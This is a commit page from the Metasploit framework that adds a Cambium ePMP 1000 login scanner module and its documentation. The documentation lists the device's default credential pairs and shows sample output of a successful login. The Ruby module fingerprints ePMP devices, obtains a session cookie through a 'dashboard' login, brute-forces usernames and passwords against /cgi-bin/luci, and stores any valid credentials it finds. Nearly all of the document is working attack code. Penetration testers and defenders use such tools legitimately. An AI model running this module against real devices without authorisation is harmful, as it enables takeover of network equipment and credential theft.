Skip to content

Commit d705949

Browse files
committed
Land rapid7#7784, Cambium ePMP 1000 Login Scanner
2 parents 11b251b + 05efb61 commit d705949

File tree

2 files changed

+230
-0
lines changed

2 files changed

+230
-0
lines changed
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_web_login```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/epmp1000_web_login
14+
msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4
15+
msf auxiliary(epmp1000_web_login) > set username installer
16+
msf auxiliary(epmp1000_web_login) > set password installer
17+
msf auxiliary(epmp1000_web_login) > run
18+
19+
[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0...
20+
[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer"
21+
[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer"
22+
[*] Scanned 1 of 1 hosts (100% complete)
23+
[*] Auxiliary module execution completed
24+
```
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Cambium ePMP 1000 Login Scanner',
17+
'Description' => %{
18+
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases.
19+
},
20+
'Author' =>
21+
[
22+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
23+
],
24+
'License' => MSF_LICENSE,
25+
'DefaultOptions' => { 'VERBOSE' => true })
26+
)
27+
28+
register_options(
29+
[
30+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
31+
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
32+
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])
33+
], self.class
34+
)
35+
end
36+
37+
def run_host(ip)
38+
unless is_app_epmp1000?
39+
return
40+
end
41+
42+
each_user_pass do |user, pass|
43+
do_login(user, pass)
44+
end
45+
end
46+
47+
def report_cred(opts)
48+
service_data = {
49+
address: opts[:ip],
50+
port: opts[:port],
51+
service_name: opts[:service_name],
52+
protocol: 'tcp',
53+
workspace_id: myworkspace_id
54+
}
55+
56+
credential_data = {
57+
origin_type: :service,
58+
module_fullname: fullname,
59+
username: opts[:user],
60+
private_data: opts[:password],
61+
private_type: :password
62+
}.merge(service_data)
63+
64+
login_data = {
65+
last_attempted_at: Time.now,
66+
core: create_credential(credential_data),
67+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
68+
proof: opts[:proof]
69+
}.merge(service_data)
70+
71+
create_credential_login(login_data)
72+
end
73+
74+
#
75+
# Check if App is Cambium ePMP 1000
76+
#
77+
78+
def is_app_epmp1000?
79+
begin
80+
res = send_request_cgi(
81+
{
82+
'uri' => '/',
83+
'method' => 'GET'
84+
}
85+
)
86+
87+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
88+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
89+
return false
90+
end
91+
92+
good_response = (
93+
res &&
94+
res.code == 200 &&
95+
res.headers['Server'] &&
96+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
97+
)
98+
99+
if good_response
100+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
101+
if !get_epmp_ver.nil?
102+
epmp_ver = get_epmp_ver[1]
103+
if !epmp_ver.nil?
104+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
105+
return true
106+
else
107+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
108+
return true
109+
end
110+
end
111+
else
112+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
113+
return false
114+
end
115+
end
116+
117+
#
118+
# Brute-force the login page
119+
#
120+
121+
def do_login(user, pass)
122+
print_status("#{rhost}:#{rport} - Attempting to login...")
123+
begin
124+
res = send_request_cgi(
125+
{
126+
'uri' => '/cgi-bin/luci',
127+
'method' => 'POST',
128+
'headers' => {
129+
'X-Requested-With' => 'XMLHttpRequest',
130+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
131+
},
132+
'vars_post' =>
133+
{
134+
'username' => 'dashboard',
135+
'password' => ''
136+
}
137+
}
138+
)
139+
140+
good_response = (
141+
res &&
142+
res.code == 200 &&
143+
res.headers.include?('Set-Cookie') &&
144+
res.headers['Set-Cookie'].include?('sysauth')
145+
)
146+
147+
if good_response
148+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
149+
150+
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
151+
152+
res = send_request_cgi(
153+
{
154+
'uri' => '/cgi-bin/luci',
155+
'method' => 'POST',
156+
'cookie' => cookie1,
157+
'headers' => {
158+
'X-Requested-With' => 'XMLHttpRequest',
159+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
160+
'Connection' => 'close'
161+
},
162+
'vars_post' =>
163+
{
164+
'username' => user,
165+
'password' => pass
166+
}
167+
}
168+
)
169+
end
170+
171+
good_response = (
172+
res &&
173+
res.code == 200 &&
174+
res.headers.include?('Set-Cookie') &&
175+
res.headers['Set-Cookie'].include?('stok=')
176+
)
177+
178+
if good_response
179+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
180+
181+
#
182+
# Extract ePMP version
183+
#
184+
res = send_request_cgi(
185+
{
186+
'uri' => '/',
187+
'method' => 'GET'
188+
}
189+
)
190+
191+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
192+
193+
report_cred(
194+
ip: rhost,
195+
port: rport,
196+
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
197+
user: user,
198+
password: pass
199+
)
200+
201+
else
202+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
203+
end
204+
end
205+
end
206+
end

0 commit comments

Comments
 (0)